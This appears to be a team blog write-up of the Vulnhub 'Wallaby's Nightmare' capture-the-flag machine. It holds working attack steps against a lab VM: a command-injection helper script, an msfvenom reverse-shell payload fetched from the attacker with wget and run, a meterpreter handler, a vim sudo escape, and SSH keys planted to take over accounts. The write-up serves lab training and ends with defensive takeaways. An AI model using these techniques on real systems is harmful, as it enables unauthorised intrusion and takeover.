I got together with my buddies, and we did another "boot to root" Vulnhub box. This time, we did "Wallaby's: Nightmare (v1.0.2)"
Author Blurb
This is my first boot2root machine. It's beginner-intermediate level. It's been tested in VBox and VMware and seems to work without issues in both. A tip, anything can be a vector, really think things through here based on how the machine works. Make a wrong move though and some stuff gets moved around and makes the machine more difficult! This is part one in a two part series. I was inspired by several vms I found on vulnhub and added a bit of a twist to the machine. Good luck and I hope you guys enjoy! This is my first CTF/Vulnerable VM ever. I created it both for educational purposes and so people can have a little fun testing their skills in a legal, pentest lab environment. Some notes before you download! Try to use a Host-Only Adapter. This is an intentionally vulnerable machine and leaving it open on your network can have bad results. It should work with Vmware flawlessly. I've tested it with vbox and had one other friend test it on Vbox as well so I think it should work just fine on anything else. This is a Boot2Root machine. The goal is for you to attempt to attempt to gain root privileges in the VM. Do not try to get the root flag through a recovery iso etc, this is essentially cheating! The idea is to get through by pretending this machine is being attacked over a network with no physical access. I themed this machine to make it feel a bit more realistic. You are breaking into a fictional characters server (named Wallaby) and trying to gain root without him noticing, or else the difficulty level will increase if you make the wrong move! Good luck and I hope you guys enjoy! Changelog v1.0 - 2016-12-22 - First Release. v1.0.1 - 2016-12-29 - VM was made harder with various fixes. v1.0.2 - 2016-12-30 - Removed a left over temp file that could be used as a shortcut.
Pre-Game
Once again, we all created host entries, this time for wallaby
and target
. You'll see the, used interchangeably during this post, and also see the IP change in output, but we are all just targeting the same vulnerable VM with slightly different isolated networks.
This CTF mentions the increase in difficulty if you are detected, so we also took a snapshot before starting so that we would have the option to revert and try again if we made things get too difficult. Both of these are just simple "best practice" things we do to make the process easy and fun.
Enumeration
Again, the first step is enumeration.
NMAP
Let's get into it with nmap:
msf5 > db_nmap -sV -O -A -T5 -Pn -p- target
[*] Nmap: Starting Nmap 7.70 ( https://nmap.org ) at 2019-05-01 14:20 EDT
[*] Nmap: Nmap scan report for target (192.168.167.133)
[*] Nmap: Host is up (0.0013s latency).
[*] Nmap: Not shown: 65532 closed ports
[*] Nmap: PORT STATE SERVICE VERSION
[*] Nmap: 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0)
[*] Nmap: | ssh-hostkey:
[*] Nmap: | 2048 6e:07:fc:70:20:98:f8:46:e4:8d:2e:ca:39:22:c7:be (RSA)
[*] Nmap: | 256 99:46:05:e7:c2:ba:ce:06:c4:47:c8:4f:9f:58:4c:86 (ECDSA)
[*] Nmap: |_ 256 4c:87:71:4f:af:1b:7c:35:49:ba:58:26:c1:df:b8:4f (ED25519)
[*] Nmap: 80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
[*] Nmap: |_http-server-header: Apache/2.4.18 (Ubuntu)
[*] Nmap: |_http-title: Wallaby's Server
[*] Nmap: 6667/tcp filtered irc
[*] Nmap: MAC Address: 00:0C:29:41:F1:35 (VMware)
[*] Nmap: Device type: general purpose
[*] Nmap: Running: Linux 3.X|4.X
[*] Nmap: OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
[*] Nmap: OS details: Linux 3.2 - 4.9
[*] Nmap: Network Distance: 1 hop
[*] Nmap: Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
[*] Nmap: TRACEROUTE
[*] Nmap: HOP RTT ADDRESS
[*] Nmap: 1 1.29 ms target (192.168.167.133)
[*] Nmap: OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
[*] Nmap: Nmap done: 1 IP address (1 host up) scanned in 11.83 seconds
msf5 > hosts
Hosts
=====
address mac name os_name os_flavor os_sp purpose info comments
------- --- ---- ------- --------- ----- ------- ---- --------
192.168.167.133 00:0c:29:41:f1:35 target Linux 3.X server
msf5 > services
Services
========
host port proto name state info
---- ---- ----- ---- ----- ----
192.168.167.133 22 tcp ssh open OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 Ubuntu Linux; protocol 2.0
192.168.167.133 80 tcp http open Apache httpd 2.4.18 (Ubuntu)
192.168.167.133 6667 tcp irc filtered
HTTP
Since there's only two services that are fully open (HTTP and SSH), we started with HTTP to try and get a foothold.
Nikto
A nikto scan quickly caused port 80 to be closed!
root@kali:~# nikto -host target
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP: 192.168.167.133
+ Target Hostname: target
+ Target Port: 80
+ Start Time: 2019-05-01 20:09:16 (GMT-4)
---------------------------------------------------------------------------
+ Server: Apache/2.4.18 (Ubuntu)
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Apache/2.4.18 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x branch.
+ Web Server returns a valid response with junk HTTP methods, this may cause false positives.
+ /index.php?page=../../../../../../../../../../etc/passwd: The PHP-Nuke Rocket add-in is vulnerable to file traversal, allowing an attacker to view any file on the host. (probably Rocket, but could be any index.php)
+ ERROR: Error limit (20) reached for host, giving up. Last error: opening stream: can't connect (timeout): Transport endpoint is not connected
+ Scan terminated: 20 error(s) and 6 item(s) reported on remote host
+ End Time: 2019-05-01 20:09:21 (GMT-4) (5 seconds)
---------------------------------------------------------------------------
In further exploration, we would eventually figure out that it was this request that caused the port to close:
+ /index.php?page=../../../../../../../../../../etc/passwd: The PHP-Nuke Rocket add-in is vulnerable to file traversal, allowing an attacker to view any file on the host. (probably Rocket, but could be any index.php)
The blurb mentions that the machine becomes more difficult if you make a misstep. I think that's debatable, but we will get to the details shortly. For now, let's continue enumeration.
Manual
We started doing more manual exploration, beginning with a revisit to the source of '/
'. The following script and title is all over the place and is snipped out of later examples in this post.
<title>Wallaby's Server</title>
<script>function post(path, params, method) {
method = method || "post"; // Set method to post by default if not specified.
// The rest of this code assumes you are not using a library.
// It can be made less wordy if you use one.
var form = document.createElement("form");
form.setAttribute("method", method);
form.setAttribute("action", path);
for(var key in params) {
if(params.hasOwnProperty(key)) {
var hiddenField = document.createElement("input");
hiddenField.setAttribute("type", "hidden");
hiddenField.setAttribute("name", key);
hiddenField.setAttribute("value", params[key]);
form.appendChild(hiddenField);
}
}
document.body.appendChild(form);
form.submit();
}
</script>
<h5>Enter a username to get started with this CTF! </h5> <br /><form name="nickname" action="" method="post">
<input type="text" name="yourname" value="" />
<input type="submit" name="submit" value="Submit" />
</form>
The next thing I decided to do was to click through, and see what we could find.
Your username for this ctf is ctlfish
click here to change your username:
Welcome to the Wallaby's Worst Knightmare 2 part series VM.
A few tips.
1. Fuzzing is your friend.
2. Tmux can be useful for many things.
3. Your environment matters.
Good luck and have fun! -Waldo
Start the CTF!
So now I did the obvious thing and clicked "Start the CTF!"
What the heck is this? Some guy named ctlfish is trying to penetrate my server? Loser must not know I'm the great Wallaby!
Let's observe him for now, maybe I could learn about him from his behavior.
We took a look at the source, and it's very similar to the landing page.
<html><head><title>Wallaby's Server</title>
...
</head><body><p style="text-align:center;">What the heck is this? Some guy named <em>ctlfish
</em> is trying to penetrate my server? Loser must not know I'm the great Wallaby!</p>
<br><p style="text-align:center;">Let's <strong><em>observe</em></strong> him for now, maybe I could learn about him from his behavior. <br>
<img src="/eye.jpg"></p></body></html>
We grabbed the image and "Giuseppe" and "SteveyDevey" examined it with strings and tried some brute force attacks with steghide, but it turned out to be a dead end.
I continued manually exploring via the form, and started to see some interesting things. When I tried a local file inclusion to grab /etc/passwd, I got a snarky response from wallaby.
root@kali:~/src/wallaby# curl http://wallaby/?page=../../../etc/passwd
...
root❌0:0:root:/root:/bin/bash
daemon❌1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin❌2:2:bin:/bin:/usr/sbin/nologin
sys❌3:3:sys:/dev:/usr/sbin/nologin
sync❌4:65534:sync:/bin:/bin/sync
games❌5:60:games:/usr/games:/usr/sbin/nologin
man❌6:12👨/var/cache/man:/usr/sbin/nologin
lp❌7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail❌8:8:mail:/var/mail:/usr/sbin/nologin
news❌9:9:news:/var/spool/news:/usr/sbin/nologin
uucp❌10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
www-data❌33:33:www-data:/var/www:/usr/sbin/nologin
backup❌34:34:backup:/var/backups:/usr/sbin/nologin
list❌38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc❌39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats❌41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody❌65534:65534:nobody:/nonexistent:/usr/sbin/nologin
syslog❌104:108::/home/syslog:/bin/false
_apt❌105:65534::/nonexistent:/bin/false
uuidd❌107:111::/run/uuidd:/bin/false
walfin❌1000:1000:walfin,,,:/home/walfin:/bin/bash
sshd❌108:65534::/var/run/sshd:/usr/sbin/nologin
mysql❌109:117:MySQL Server,,,:/nonexistent:/bin/false
steven?❌1001:1001::/home/steven?:/bin/bash
ircd❌1003:1003:,,,:/home/ircd:/bin/bash<!--This is what we call 'dis-information' in the cyber security world! Are you learning anything new here ?-->
root@kali:~/src/wallaby#
We also tried a different file inclusion, with a URL we discovered via dirb, and got a different snarky message, which also changed the behavior of the machine!
root@kali:~/src/wallaby# curl target/?page=.git/config
...
<h2>That's some fishy stuff you're trying there <em></em>buddy. You must think Wallaby codes like a monkey! I better get to securing this SQLi though...</h2>
<br />(Wallaby caught you trying an LFI, you gotta be sneakier! Difficulty level has increased.)
root@kali:~/src/wallaby#
After this response, port 80 stopped responding. "Matato" enumerated with nmap again, and discovered that apache had moved to port 60080. Remember how scanning with nikto
caused port 80 to close? It was a similar query. "Matato" reverted a couple times and confirmed the cause.
Triggered LFI alert (using '/' in ?path=
triggers if it doesn't contain /etc/passwd) curl "http://wallaby/?page=/admin"
Here's the new nmap output after triggering the change
msf5 > db_nmap -sV -O -A -T3 -p- wallaby
[*] Nmap: Starting Nmap 7.70 ( https://nmap.org ) at 2019-05-01 22:08 EDT
[*] Nmap: Stats: 0:00:16 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
[*] Nmap: Service scan Timing: About 50.00% done; ETC: 22:09 (0:00:11 remaining)
[*] Nmap: Stats: 0:00:16 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
[*] Nmap: Service scan Timing: About 100.00% done; ETC: 22:08 (0:00:00 remaining)
[*] Nmap: Nmap scan report for wallaby (192.168.56.105)
[*] Nmap: Host is up (0.0011s latency).
[*] Nmap: Not shown: 65532 closed ports
[*] Nmap: PORT STATE SERVICE VERSION
[*] Nmap: 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0)
[*] Nmap: | ssh-hostkey:
[*] Nmap: | 2048 6e:07:fc:70:20:98:f8:46:e4:8d:2e:ca:39:22:c7:be (RSA)
[*] Nmap: | 256 99:46:05:e7:c2:ba:ce:06:c4:47:c8:4f:9f:58:4c:86 (ECDSA)
[*] Nmap: |_ 256 4c:87:71:4f:af:1b:7c:35:49:ba:58:26:c1:df:b8:4f (ED25519)
[*] Nmap: 6667/tcp filtered irc
[*] Nmap: 60080/tcp open http Apache httpd 2.4.18 ((Ubuntu))
[*] Nmap: |_http-server-header: Apache/2.4.18 (Ubuntu)
[*] Nmap: |_http-title: Wallaby's Server
[*] Nmap: MAC Address: 08:00:27:ED:DF:AC (Oracle VirtualBox virtual NIC)
[*] Nmap: Device type: general purpose
[*] Nmap: Running: Linux 3.X|4.X
[*] Nmap: OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
[*] Nmap: OS details: Linux 3.2 - 4.9
[*] Nmap: Network Distance: 1 hop
[*] Nmap: Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
[*] Nmap: TRACEROUTE
[*] Nmap: HOP RTT ADDRESS
[*] Nmap: 1 1.13 ms wallaby (192.168.56.105)
[*] Nmap: OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
[*] Nmap: Nmap done: 1 IP address (1 host up) scanned in 18.54 seconds
Fuzzing
We did some fuzzing with wfuzz, and started to see some patterns in the output. By now, we were working the script directly, a php router, and knew what happens when we try a LFI. I saw a pattern in wfuzz and removed the slew of results that had the same number of words, and this got a list of URLs that actually did something unique.
wfuzz -c -z file,/usr/share/wfuzz/wordlist/general/common.txt --hc 404 target/?page=FUZZ | grep -v 891
Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 2.3.4 - The Web Fuzzer *
********************************************************
Target: http://target/?page=FUZZ
Total requests: 950
==================================================================
ID Response Lines Word Chars Payload
==================================================================
000224: C=200 26 L 86 W 895 Ch "contact"
000415: C=200 29 L 122 W 1179 Ch "home"
000438: C=200 30 L 104 W 1053 Ch "index"
Total time: 2.737638
Processed Requests: 950
Filtered Requests: 0
Requests/sec.: 347.0143
We started to examine these more closely, and although triggering the LFI response moves the apache instance, once that happens you can just hammer it without any additional consequence, so that's what "Matato" did.
First, there's a telling change in the generic response once apache moves to 60080
curl http://wallaby:60080/
<title>Wallaby's Server</title>
...
<p style="text-align:center;">HOLY MOLY, this guy <em></em>wants me...Glad I moved to a different port so I could work more securely!!!</p>
<br /><p style="text-align:center;">As we all know, <strong><em>security by obscurity</em></strong> is the way to go...<br />
<img src="/sec.png"/></p>
Around this time, everybody was racing with their favorite fuzzer to figure out what vectors were available. "Matato" dropped a list of pages in our notes, which included the "mailer" page.
# dirb http://wallaby:60080/?page= /usr/share/dirb/wordlists/big.txt
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Wed May 1 22:14:23 2019
URL_BASE: http://wallaby:60080/?page=
WORDLIST_FILES: /usr/share/dirb/wordlists/big.txt
-----------------
GENERATED WORDS: 20458
---- Scanning URL: http://wallaby:60080/?page= ----
+ http://wallaby:60080/?page=blacklist (CODE:200|SIZE:986)
+ http://wallaby:60080/?page=cgi-bin/ (CODE:200|SIZE:892)
+ http://wallaby:60080/?page=contact (CODE:200|SIZE:895)
+ http://wallaby:60080/?page=home (CODE:200|SIZE:1139)
+ http://wallaby:60080/?page=index (CODE:200|SIZE:1053)
+ http://wallaby:60080/?page=mailer (CODE:200|SIZE:1077)
With some manual inspection of the mailer page, I found our entry point
root@kali:~/wallaby# curl 'http://wallaby/?page=mailer&mail=id'
...
uid=33(www-data) gid=33(www-data) groups=33(www-data)
<h2 style='color:blue;'>Coming Soon guys!</h2>
<!--a href='/?page=mailer&mail=mail wallaby "message goes here"'><button type='button'>Sendmail</button-->
<!--Better finish implementing this so can send me all his loser complaints!-->
We have remote command execution!
root@kali:~/wallaby# curl 'http://wallaby/?page=mailer&mail=ls%20-R'
...
.:
eye.jpg
index.php
levelone.txt
s13!34g$3FVA5e@ed
sec.png
./s13!34g$3FVA5e@ed:
althome.php
blacklist.php
contact.php
first_visit.php
home.php
honeypot.php
index.php
mailer.php
welcome.php
...
We tinkered with this manually to explore things, getting a list of running processes and so on. It didn't take long for that to become tedious, so we whipped up a trivial Python script to make things easier.
root@kali:~/wallaby# cat ~/src/wallaby/pcurl.py
#!/usr/bin/env python3
import argparse
import urllib.parse
import requests
parser = argparse.ArgumentParser()
parser.add_argument("--command", "-c", help="command to encode in URL-friendly format")
parser.add_argument("--sendit", "-s", help="send the request", action='store_true')
args = parser.parse_args()
html_form_value = urllib.parse.quote_plus(args.command)
if args.sendit:
baseurl = 'http://wallaby/?page=mailer&mail='
url = baseurl + html_form_value
r = requests.get(url)
print(r.text, "\n", r.status_code)
else:
print(html_form_value)
Getting a Foothold
Now we have a vector for attack, and we need to get a more firm foothold as the www-data user. First we tried to attack PHP, because it's PHP, and appeared to be an older version, and possibly misconfigured. We didn't make much progress though, even though it was now very easy to run commands against the box.
root@kali:~/wallaby# ~/src/wallaby/pcurl.py -s -c 'ls -lR'
...
.:
total 544
-rw-r--r-- 1 root root 15953 Aug 11 2015 eye.jpg
-rw-r--r-- 1 root root 3639 Dec 27 2016 index.php
-rw-r--r-- 1 root root 0 Dec 27 2016 levelone.txt
drwxr-xr-x 2 root root 4096 Dec 27 2016 s13!34g$3FVA5e@ed
-rw-r--r-- 1 root root 57626 Dec 27 2016 sec.png
./s13!34g$3FVA5e@ed:
total 36
-rw-r--r-- 1 root root 339 Dec 27 2016 althome.php
-rw-r--r-- 1 root root 698 Dec 27 2016 blacklist.php
-rw-r--r-- 1 root root 78 Dec 16 2016 contact.php
-rw-r--r-- 1 root root 371 Dec 16 2016 first_visit.php
-rw-r--r-- 1 root root 379 Dec 16 2016 home.php
-rw-r--r-- 1 root root 1350 Dec 27 2016 honeypot.php
-rw-r--r-- 1 root root 213 Dec 15 2016 index.php
-rw-r--r-- 1 root root 461 Dec 16 2016 mailer.php
-rw-r--r-- 1 root root 667 Dec 16 2016 welcome.php
<h2 style='color:blue;'>Coming Soon guys!</h2>
<!--a href='/?page=mailer&mail=mail wallaby "message goes here"'><button type='button'>Sendmail</button-->
<!--Better finish implementing this so can send me all his loser complaints!-->
200
root@kali:~/wallaby#
Getting a Meterpreter Shell
It was time to stop messing around and get into this thing, so here's a step by step of how to get a meterpreter shell on this box as the www-data
user.
First we make a payload
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.167.130 LPORT=4444 -f elf -e x86/shikata_ga_nai -a x86 --platform linux -o revshell
There's a lot going on there; what, exactly, is this command?
-p specifies the payload we are making a linux, x86 payload for a meterpreter reverse shell over tcp
LHOST, LPORT are variables for this payload (and standard for all metasploit) LHOST is the listen host LPORT is the listen port (atack box).
-f format is elf (linux binary)
-e encoder is x86/shikata_ga_nai - I believe it is the best choice for an encoder unless you have a good reason to use a different one or know more about encoders than me (not hard!)
"SteveyDevey" is multi-lingual, and passionate about languages; he pointed out that "Shikata ga nai" means "it can't be helped" in Japanese and is a commonly used to describe acceptance in the wake of things that are uncontrollable or unavoidable https://en.wikipedia.org/wiki/Shikata_ga_nai
-a arch is x86 (target)
--platform is linux (target)
-o
Drop the Payload on the Target
After creating a payload, from the directory where your payload is, run
python3 -m http.server 8000 &
Next, fetch the payload from yourself, and chmod it to make executable.
~/src/wallaby/pcurl.py -s -c 'wget 192.168.167.130:8000/revshell'
~/src/wallaby/pcurl.py -s -c 'chmod a+x revshell'
Start a local handler
For the next step, we use the exploit/multi/handler module. It is crucial to set the payload options to match exactly what was generated with msfvenom. Then simply run via run
or exploit
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload linux/x86/meterpreter/reverse_tcp
payload => linux/x86/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > options
Module options (exploit/multi/handler):
Name Current Setting Required Description
---- --------------- -------- -----------
Payload options (linux/x86/meterpreter/reverse_tcp):
6
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Wildcard Target
msf5 exploit(multi/handler) > set LHOST 192.168.167.130
LHOST => 192.168.167.130
msf5 exploit(multi/handler) > run
Call the exploit and watch your meterpreter shell
In another terminal, run the following command to remotely execute our staged payload.
root@kali:~/wallaby# ~/src/wallaby/pcurl.py -s -c './revshell'
Back in msfconsole, we see the target connect to our handler.
msf5 exploit(multi/handler) > run
[*] Started reverse TCP handler on 192.168.167.130:4444
[*] Sending stage (985320 bytes) to 192.168.167.133
[*] Meterpreter session 1 opened (192.168.167.130:4444 -> 192.168.167.133:47150) at 2019-05-02 09:15:32 -0400
meterpreter > getuid
Server username: uid=33, gid=33, euid=33, egid=33
meterpreter >
Congratulations! You've got a meterpreter shell! :D
Escalating Privileges
Now that we've got a meterpreter shell as the www-data
user, we were able to do some exploring. We downloaded php files for examination, and checked out what sudo commands were available to the www-data
user.
meterpreter > channel -i 2
Interacting with channel 2...
whoami
www-data
sudo -l
Matching Defaults entries for www-data on ubuntu:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User www-data may run the following commands on ubuntu:
(waldo) NOPASSWD: /usr/bin/vim /etc/apache2/sites-available/000-default.conf
(ALL) NOPASSWD: /sbin/iptables
This shows us how to become the user waldo
with a vim escape from a www-data
shell.
Becoming waldo, another user with better access
With the information we just gathered, as www-data
, we run the following command sudo -u waldo /usr/bin/vim /etc/apache2/sites-available/000-default.conf
Once vim, opens we escape to a shell by hitting Esc, followed by:
:shell
Now we are waldo, as we can see in the following commands
whoami
waldo
id
uid=1000(waldo) gid=1000(waldo) groups=1000(waldo),24(cdrom),30(dip),46(plugdev),114(lpadmin),115(sambashare)
We still have a terrible shell though, because shell -t
as the www-data
user failed from meterpreter (and we had to fallback to just shell
); this is because www-data
user is not allowed to have a tty. Now that we have access as the user waldo
, let's get a tty.
Getting a Real Terminal
To do this, we make the .ssh directory in waldo's home, echo out an ssh pubkey to the ~waldo/.ssh/authorized_keys
and chown it 600. Now we can simply ssh as waldo
.
root@kali:~# ssh waldo@wallaby
Welcome to Ubuntu 16.04.1 LTS (GNU/Linux 4.4.0-31-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
Last login: Thu May 2 18:11:36 2019 from 192.168.167.130
waldo@ubuntu:~$
What Can Waldo Do?
While doing our initial exploration, remember how we found some tips?
Welcome to the Wallaby's Worst Knightmare 2 part series VM.
A few tips.
1. Fuzzing is your friend.
2. Tmux can be useful for many things.
3. Your environment matters.
Good luck and have fun! -Waldo
Start the CTF!
The tips for this CTF included a hint about tmux being useful. Once we become waldo
, it's easy to see what he is running, since there is a script for running irssi in waldo's home directory. That script starts irssi in a tmux session.
waldo@ubuntu:~$ cat irssi.sh
#!/bin/bash
tmux new-session -d -s irssi
tmux send-keys -t irssi 'n' Enter
tmux send-keys -t irssi 'irssi' Enter
Running tmux list-sessions
shows only the single session named irssi
, so we attached to it and started to explore.
How do I irssi?
We spent some time remembering how to use irssi. I haven't run it for years, even though it used to be a daily driver. Eventually we remembered how to list windows, and found #wallabyschat
.
18:06 -!- waldo [waldo@wallaby-DCED2AAD] has joined #wallabyschat
18:06 [Users #wallabyschat]
18:06 [@waldo]
18:06 -!- Irssi: #wallabyschat: Total of 1 nicks [1 ops, 0 halfops, 0 voices, 0 normal]
18:06 -!- Channel #wallabyschat created Wed May 1 18:06:18 2019
18:06 -!- Irssi: Join to #wallabyschat was synced in 7 secs
18:06 -!- wallabysbot [sopel@wallaby-DCED2AAD] has joined #wallabyschat
"SteveyDevey" noticed the join message for wallabysbot
. We played around with the bot and found the .run
command, which failed on anything other than single arg invocations, but also runs those things as wallaby, which we confirmed by running id
.
Becoming Wallaby
"Matato" did some excellent research on the module, first by exploring the system and finding the module (which is custom, and located in wallaby's home directory), and then digging through the sopel source to understand the stuff the module inherited via decorators.
So, after digging a bit with irssi, wallaby's .run
custom sopel module will only accept a single arg. This is because trigger.group(2)
is the a python regex object match.group
that's part of the sopel framework, which defines trigger.group(2)
as "anything after the command" (as in the command to the bot). So our module won't accept any sort of command with multiple args, because the string in trigger.group(2)
is passed to this simple module, which uses the old '%s'
style of python string formatting when it, in turn, calls os.system()
and also subprocess.Popen()
, which both need tokenization of args, not just a raw string. We tried faking the format of our commands in the format expected, but that didn't work. We took a break because it was late and we all had real life stuff to do the next day.
waldo@ubuntu:/home/wallaby/.sopel/modules$ cat run.py
import sopel.module, subprocess, os
from sopel.module import example
@sopel.module.commands('run')
@example('.run ls')
def run(bot, trigger):
if trigger.owner:
os.system('%s' % trigger.group(2))
runas1 = subprocess.Popen('%s' % trigger.group(2), stdout=subprocess.PIPE).communicate()[0]
runas = str(runas1)
bot.say(' '.join(runas.split('\\n')))
else:
bot.say('Hold on, you aren\'t Waldo?')
I was thinking about this before bed, and thought we might be overthinking it. What about a much simpler solution? I dropped this idea in our shared notes.
Maybe we can create a shell script in a location Waldo can access, make it 777 and then run it as wallaby with the single arg bot invocation of .run as waldo?
In the morning,"Matato" lit up our chat after he ran with the idea to create a script and run it as the single arg to .run
so that waldo
can execute code as wallaby
. Here's my script. "Matato", independently did the nearly the exact same thing; he beat me in the keyboard race. :)
waldo@ubuntu:~$ cat test
#!/bin/bash
sudo -l
mkdir /home/wallaby/.ssh
echo "ssh-rsa AAAAB3NzaC1yc2NNNICETRYMORTY9a42+m7rFv root@kali" >> /home/wallaby/.ssh/authorized_keys
chmod 600 /home/wallaby/.ssh/authorized_keys
I thought we might need to put this in a neutral place like /var/www/html
or something, but because the permissions on home are 755
instead of 700
, we can just run this from waldo
's home!
22:03 < waldo> .run /home/waldo/test
22:03 < wallabysbot> b'Matching Defaults entries for wallaby on ubuntu: env_reset, mail_badpass,
secure_path=/usr/local/sbin\\:/usr/local/bin\\:/usr/sbin\\:/usr/bin\\:/sbin\\:/bin\\:/snap/bin User wallaby may run the following commands on ubuntu:
(ALL) NOPASSWD: ALL '
This appended our key do wallaby's home, so now we just ssh as wallaby
and sudo su -
!
Flag
root@kali:~# ssh wallaby@wallaby
Welcome to Ubuntu 16.04.1 LTS (GNU/Linux 4.4.0-31-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
Last login: Fri May 3 12:43:17 2019 from 192.168.167.130
wallaby@ubuntu:~$ sudo su -
root@ubuntu:~# ls -l
total 12
drwxr-xr-x 2 root root 4096 Dec 27 2016 backups
-rwxr-xr-x 1 root root 510 Dec 27 2016 check_level.sh
-rw-r--r-- 1 root root 342 Dec 16 2016 flag.txt
root@ubuntu:~# cat flag.txt
###CONGRATULATIONS###
You beat part 1 of 2 in the "Wallaby's Worst Knightmare" series of vms!!!!
This was my first vulnerable machine/CTF ever! I hope you guys enjoyed playing it as much as I enjoyed making it!
Come to IRC and contact me if you find any errors or interesting ways to root, I'd love to hear about it.
Thanks guys!
-Waldo
root@ubuntu:~#
Recap
This box is exploitable through a series of flaws, some big, some small.
- PHP exploit via poorly written page which includes an tainted
system()
call - sudo misconfiguration that allows the
www-data
user to run vim aswaldo
, and escape to a shell - irssi bot weakness allows user
waldo
to run commands aswallaby
- bad permissions on user dirs in home (755 instead of 700)
- another sudo misconfiguration that allows
wallaby
to run anything without a password
These flaws together are bigger than the sum of their parts. This box was a lot of fun for us and a great reminder why adhering to some classic UNIX/Linux best practices is important. Here's some key takeaways for when you are on the blue team:
- Don't trust input - treat all user data as tainted. It should only execute prepared statements.
- Weak permissions are dangerous
- Configure sudo with great caution; a misconfiguration has terrible consequences
CAST
Team Voltron
Guiseppe as Himself
Matato as Himself
SteveyDevey as Himself
CtlFish as Himself
Tommy as Johnny
Directed by Tommy Wiseau
Written by Tommy Wiseau
Team Wiseau
Tommy Wiseau as Johnny
Juliette Danielle as Lisa
Greg Sestero as Mark
Philip Haldiman as Denny (as Phillip Haldiman)
Carolyn Minnott as Claudette (as Carolyn Minnot)
Robyn Paris as Michelle
Mike Holmes as Mike (as Mike Scott)
Dan Janjigian as Chris-R
Kyle Vogt as Peter
Greg Ellery as Steven
Piper Gore as Party Member # 1
Kari McDermott as Party Member # 2 (as Kari McDermont)
Jennifer Vanderbliek... Party Member # 3 (as Jen Vanderbliek)
Bennett Dunn as Party Member # 4 (as Bennet Dunn)
Padma Moyer as Susan
Daron Jennings as Barista # 2
Thomas E. Webster as Coffee Shop Customer # 1
Nora DeMarcky as Coffee Shop Customer # 2
Arelle Mitkowski as Coffee Shop Customer # 3
Frank Willey as Coffee Shop Customer # 4
Amy Von Brock as Party Member # 5 (uncredited)